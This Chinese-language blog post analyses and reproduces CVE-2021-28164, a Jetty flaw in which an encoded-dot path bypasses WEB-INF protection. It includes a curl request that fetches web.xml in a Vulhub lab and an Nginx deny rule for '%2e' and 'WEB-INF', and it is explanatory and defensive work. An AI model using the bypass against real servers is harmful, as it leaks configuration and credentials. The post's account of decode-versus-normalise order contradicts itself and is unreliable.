CVE-2021-28164源碼分析與漏洞復現

漏洞概述

漏洞名稱:Jetty 路徑解析邏輯漏洞導致 WEB-INF 敏感信息泄露
漏洞編號:CVE-2021-28164
CVSS 評分:7.5
影響版本:Jetty 9.4.37 - 9.4.38
修復版本:Jetty ≥ 9.4.39
漏洞類型:路徑遍歷/信息泄露

CVE-2021-28164 是 Eclipse Jetty 服務器在處理 URI 路徑時因編碼解析順序與路徑規范化邏輯沖突導致的安全漏洞。攻擊者通過構造包含 URL 編碼點段(如 %2e)的惡意路徑(如 /%2e/WEB-INF/web.xml),可繞過安全校驗直接訪問 WEB-INF 目錄下的敏感文件(如 web.xmlclasses 等),導致應用配置、數據庫憑證等敏感信息泄露。


技術細節與源碼分析

漏洞成因

Jetty 為符合 RFC3986 規范,默認支持 URI 編碼解析,但在處理路徑時存在兩階段缺陷:

  1. 路徑規范化順序錯誤:先解析 URL 編碼(如 %2e.),再執行路徑規范化(處理 . / .. 點段)。
  2. 安全校驗滯后ContextHandler 的防護邏輯在規范化后執行,無法檢測編碼后的惡意路徑。
關鍵源碼分析

(1)路徑解析入口HttpURI.parse()
代碼定位org.eclipse.jetty.http.HttpURI

   public void parse(String uri) {clear();this._uri = uri;parse(State.START, uri, 0, uri.length());}
   private void parse(State state, String uri, int offset, int end) {if (!encoded && j == 0) {if (this._param == null) {this._decodedPath = this._path;} else {this._decodedPath = this._path.substring(0, this._path.length() - this._param.length() - 1);} } else if (this._path != null) {String canonical = URIUtil.canonicalPath(this._path);// 先規范化路徑(未解碼)if (canonical == null)throw new BadMessageException("Bad URI"); this._decodedPath = URIUtil.decodePath(canonical);// 再解碼URL編碼} }

問題canonicalPath() 無法識別編碼后的點段(如 %2e),導致 /%2e/ 未被規范化為當前目錄。

(2)路徑規范化函數canonicalPath()
代碼定位org.eclipse.jetty.http.HttpURI#canonicalPath

   public static String canonicalPath(String path) {if (path == null || path.isEmpty()) {return path;}int end = path.length();int i = 0;int dots = 0;while (i < end) {char c = path.charAt(i);switch (c) {case '/':dots = 0;break;case '.':if (dots == 0) {dots = 1;break;} dots = -1;break;default:dots = -1;break;} i++;} if (i == end) {return path;}StringBuilder canonical = new StringBuilder(path.length());canonical.append(path, 0, i);i++;while (i <= end) {       char c = (i < end) ? path.charAt(i) : Character.MIN_VALUE;switch (c) {case '\000':if (dots == 2) {if (canonical.length() < 2)return null; canonical.setLength(canonical.length() - 1);canonical.setLength(canonical.lastIndexOf("/") + 1);} break;case '/':switch (dots) {case 1:break;case 2:if (canonical.length() < 2)return null; canonical.setLength(canonical.length() - 1);canonical.setLength(canonical.lastIndexOf("/") + 1);break;default:canonical.append(c); break;} dots = 0;break;case '.':switch (dots) {case 0:dots = 1;break;case 1:dots = 2;break;case 2:canonical.append("...");dots = -1;break;} canonical.append('.');break;         default:switch (dots) {        case 1:canonical.append('.');break;case 2:canonical.append("..");break;}           canonical.append(c);dots = -1;break;} i++;} return canonical.toString();// 僅處理明文"."和"..",忽略%2e等編碼形式}

缺陷:僅過濾明文點段,未處理編碼形式,導致 /%2e/WEB-INF/web.xml 繞過規范化。

(3)安全校驗邏輯ContextHandler.isProtectedTarget()
代碼定位org.eclipse.jetty.server.handler.ContextHandler#isProtectedTarget

   public boolean isProtectedTarget(String target) {if (target == null || this._protectedTargets == null) {return false;}while (target.startsWith("//")){target = URIUtil.compactPath(target);}     for (int i = 0; i < this._protectedTargets.length; i++) {       String t = this._protectedTargets[i];if (StringUtil.startsWithIgnoreCase(target, t)) {   // 直接匹配路徑保護路徑前綴       if (target.length() == t.length()) {return true;} char c = target.charAt(t.length());if (c == '/' || c == '?' || c == '#' || c == ';')return true; } } return false;}

漏洞點:該校驗在路徑解碼后執行,攻擊者通過 /%2e/WEB-INF 可繞過 startsWithIgnoreCase("/WEB-INF") 檢測。

漏洞觸發路徑
sequenceDiagram  攻擊者->>+Jetty服務器: 發送請求 GET /%2e/WEB-INF/web.xml  Jetty服務器->>HttpURI.parse(): 原始路徑="%2e/WEB-INF/web.xml"  HttpURI.parse()-->>canonicalPath(): 輸入未解碼路徑 → 未識別"%2e" → 輸出不變  HttpURI.parse()-->>decodePath(): 解碼"%2e" → 生成"./WEB-INF/web.xml"  Jetty服務器->>ContextHandler: 校驗"./WEB-INF/web.xml"  ContextHandler-->>isProtectedTarget(): 檢查"./WEB-INF" → 不匹配"/WEB-INF" → 放行  Jetty服務器->>文件系統: 返回web.xml內容  

漏洞復現

環境搭建
1.使用 Vulhub 環境啟動漏洞靶機

 docker-compose up -d 

在這里插入圖片描述
2.訪問訪問 http://target:8080,確認服務正常運行
在這里插入圖片描述

攻擊步驟
1.直接訪問/WEB-INF/web.xml將會返回404頁面
在這里插入圖片描述

2.使用%2e/來繞過限制下載web.xml

curl -v 'http://192.168.1.100:8080/%2e/WEB-INF/web.xml'

在這里插入圖片描述


修復方案

官方修復(Jetty 9.4.39+)

補丁核心:調整路徑處理順序,先解碼后規范化,并強化安全校驗:

  1. 修改 HttpURI.parse() 邏輯
    _decodedPath = decodePath(rawURI);        // 先解碼  
    _path = canonicalPath(_decodedPath);      // 后規范化  
    
  2. 增強 isProtectedTarget()
    protected boolean isProtectedTarget(String target) {  String canonicalPath = URIUtil.canonicalPath(target);  return canonicalPath.startsWith("/WEB-INF") || ... ; // 規范化后校驗  
    }  
    
臨時緩解措施
  1. 升級 Jetty:≥ 9.4.39 或 ≥ 10.0.5。
  2. 配置過濾規則:在反向代理(如 Nginx)攔截包含 /WEB-INF%2e 的請求:
    location ~* "/\.|%2e|WEB-INF" { return 403; }  
    
  3. 權限控制:確保 WEB-INF 目錄權限禁止非授權訪問。


漏洞啟示

  1. 規范與安全的沖突:RFC3986 的兼容性需求可能引入安全風險,需在規范實現中植入安全校驗(如規范化后二次驗證)。
  2. 縱深防御必要性:除代碼修復外,應結合網絡層過濾和權限最小化原則。
  3. 自動化檢測:CI/CD 流程中需加入路徑遍歷測試用例(如 OWASP ZAP 掃描 /..%2f 變體)。

參考鏈接

  1. CVE-2021-28164 漏洞原理與源碼分析(阿里云先知社區)

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/85351.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/85351.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/85351.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

顛覆傳統!單樣本熵最小化如何重塑大語言模型訓練范式?

顛覆傳統&#xff01;單樣本熵最小化如何重塑大語言模型訓練范式&#xff1f; 大語言模型&#xff08;LLM&#xff09;的訓練往往依賴大量標注數據與復雜獎勵設計&#xff0c;但最新研究發現&#xff0c;僅用1條無標注數據和10步優化的熵最小化&#xff08;EM&#xff09;方法…

自動駕駛系統研發系列—激光雷達感知延遲:自動駕駛安全的隱形隱患?

???? 歡迎來到我的技術小筑,一個專為技術探索者打造的交流空間。在這里,我們不僅分享代碼的智慧,還探討技術的深度與廣度。無論您是資深開發者還是技術新手,這里都有一片屬于您的天空。讓我們在知識的海洋中一起航行,共同成長,探索技術的無限可能。 ?? 探索專欄:學…

【MySQL】事務及隔離性

目錄 一、什么是事務 &#xff08;一&#xff09;概念 &#xff08;二&#xff09;事務的四大屬性 &#xff08;三&#xff09;事務的作用 &#xff08;四&#xff09;事務的提交方式 二、事務的啟動、回滾與提交 &#xff08;一&#xff09;事務的啟動、回滾與提交 &am…

視覺分析明火檢測助力山東化工廠火情防控

視覺分析技術賦能化工廠火情防控&#xff1a;從山東事故看明火與煙霧檢測的應用價值 一、背景&#xff1a;山東化工事故中的火情防控痛點 近期&#xff0c;山東高密友道化學有限公司、淄博潤興化工科技有限公司等企業接連發生爆炸事故&#xff0c;暴露出傳統火情防控手段的局…

【小程序】微信小程序備案失敗,有請DeepSeek閃亮出場,看TA如何快速給出解決方案

&#x1f339;歡迎來到《小5講堂》&#x1f339; &#x1f339;這是《小程序》系列文章&#xff0c;每篇文章將以博主理解的角度展開講解。&#x1f339; &#x1f339;溫馨提示&#xff1a;博主能力有限&#xff0c;理解水平有限&#xff0c;若有不對之處望指正&#xff01;&a…

Oracle正則表達式學習

目錄 一、正則表達簡介 二、REGEXP_LIKE(x,匹配項) 三、REGEXP_INSTR 四、REGEXP_SUBSTR 五、REGEXP_REPLACE 一、正則表達簡介 相關網址&#xff1a; https://cloud.tencent.com/developer/article/1456428 https://www.cnblogs.com/lxl57610/p/8227599.html https://…

vscode 代理模式(agent mode),簡單嘗試一下。

1. 起因&#xff0c; 目的: agent mode&#xff0c; 很流行&#xff0c;名氣很大。簡單試試效果&#xff0c;確實很強。agent mode&#xff0c; 取代人工&#xff0c;確實是前進了一大步。 2. 先看效果 效果對比&#xff0c;左邊是 普通的AI 生成的&#xff0c; 右邊是 代理…

貝銳蒲公英工業路由器R300A海外版:支持多國4G頻段,全球組網

為更好地滿足全球部署和企業出海項目的多樣化需求&#xff0c;貝銳蒲公英異地組網工業路由器R300A海外版全新上市&#xff0c;并已正式上架速賣通&#xff01;無論是跨國分支機構協同辦公&#xff0c;還是海外工廠設備遠程運維&#xff0c;R300A海外版都能為企業提供靈活、高性…

自然圖像數據集

目錄 CIFAR-10 數據集CIFAR-100 數據集AFHQ 數據集FFHQ 數據集 CIFAR-10 數據集 簡介&#xff1a; CIFAR-10 是一個經典的圖像分類數據集&#xff0c;廣泛用于機器學習領域的計算機視覺算法基準測試。它包含60000幅32x32的彩色圖像&#xff0c;分為10個類&#xff0c;每類6000…

【AI面試秘籍】| 第25期:RAG的關鍵痛點及解決方案深度解析

今天我們來聊聊大模型領域一個非常火熱的技術——RAG&#xff08;Retrieval Augmented Generation&#xff09;。RAG通過引入外部知識庫&#xff0c;有效地緩解了大型語言模型&#xff08;LLM&#xff09;在處理知識密集型任務時可能出現的幻覺、知識過時等問題。然而&#xff…

精英-探索雙群協同優化(Elite-Exploration Dual Swarm Cooperative Optimization, EEDSCO)

一種多群體智能優化算法&#xff0c;其核心思想是通過兩個分工明確的群體——精英群和探索群——協同工作&#xff0c;平衡算法的全局探索與局部開發能力&#xff0c;從而提高收斂精度并避免早熟收斂。 一 核心概念 在傳統優化算法&#xff08;如粒子群優化、遺傳算法&#xf…

Transformer相關

問題匯總 Transformer的結構自注意力機制(Self-Attention)多頭自注意力前饋神經網絡(Feed-Forward Network, FFN)位置編碼編碼器(Encoder)和解碼器(Decoder)Multi-Query Attention(多查詢注意力機制)Grouped-query Attention(分組查詢注意力機制)FlashAttention與注…

【位運算】兩整數之和(medium)

兩整數之和&#xff08;medium&#xff09; 題?描述&#xff1a;解法&#xff08;位運算&#xff09;&#xff1a;代碼復雜度分析 題?鏈接&#xff1a; 371. 兩整數之和 題?描述&#xff1a; 給你兩個整數 a 和 b &#xff0c;不使? 運算符 和 - &#xff0c;計算并返回兩…

現代密碼學入門 | 現代密碼學核心特點介紹

在當今互聯互通的世界中&#xff0c;數字數據在全球范圍內不斷流動&#xff0c;安全通信和數據保護的需求從未如此迫切。現代密碼學作為數字防御的先鋒&#xff0c;提供了一系列復雜的技術和算法&#xff0c;以保護信息免受窺探和惡意行為的侵害。 現代密碼學是從其古典前身—…

Redis分布式鎖深度解析與最佳實踐

1 2 Redis分布式鎖實現方式確實是經典問題&#xff0c;下面我將系統性地分析這個方案及其演進過程&#xff0c;并給出生產級的解決方案。 一、基礎方案及其缺陷 1. 初始實現方式 SETNX lock_key unique_value # 嘗試獲取鎖 EXPIRE lock_key 30 # 設置過期時間 …

Hive自定義函數案例(UDF、UDAF、UDTF)

目錄 前提條件 背景 概念及適用場景 UDF&#xff08;User-Defined Function&#xff09; 概念 適用場景 UDAF&#xff08;User-Defined Aggregate Function&#xff09; 概念 適用場景 UDTF&#xff08;User-Defined Table-Generating Function&#xff09; 概念 適…

Go語言的原子操作

當我們想要對某個變量并發安全的修改&#xff0c;除了使用官方提供的mutex&#xff0c;還可以使用sync/atomic包的原子操作&#xff0c;它能夠保證對變量的讀取或修改期間不被其他的協程所影響。 Golang提供的原子操作都是非侵入式的&#xff0c;由標準庫sync/atmoic包提供&am…

QNAP MEMOS 域名訪問 SSL(Lucky)

注意&#xff1a;下述是通過ssh、docker-compose方式安裝docker的&#xff0c;不是直接在container station中安裝的哈&#xff01;&#xff01;&#xff01; 一、編輯docker-compose.yml文件 用“#”號標識的&#xff0c;在保存文件的時候建議去掉&#xff0c;不然有時候會出…

C#實現遠程鎖屏

前言 這是一次提前下班沒有鎖屏進而引發的一次思考后的產物&#xff0c;思考的主要場景是當人離開電腦后&#xff0c;怎么能控制電腦鎖屏&#xff0c;避免屏幕上的聊天記錄被曝光。 首先想到通過系統的電源計劃設置閑置超時時間熄屏&#xff0c;這可能是最接近場景的解決方案&a…

[Protobuf]常見數據類型以及使用注意事項

[Protobuf]常見數據類型以及使用注意事項 水墨不寫bug 文章目錄 一、基本數據類型1、字段2、字段的修飾規則 二、自定義數據類型1、message類型2、enum類型3、Any類型4、oneof類型5、map類型 三、小工具1.hexdump2.decode 四、注意事項 一、基本數據類型 protobuf 支持多種基礎…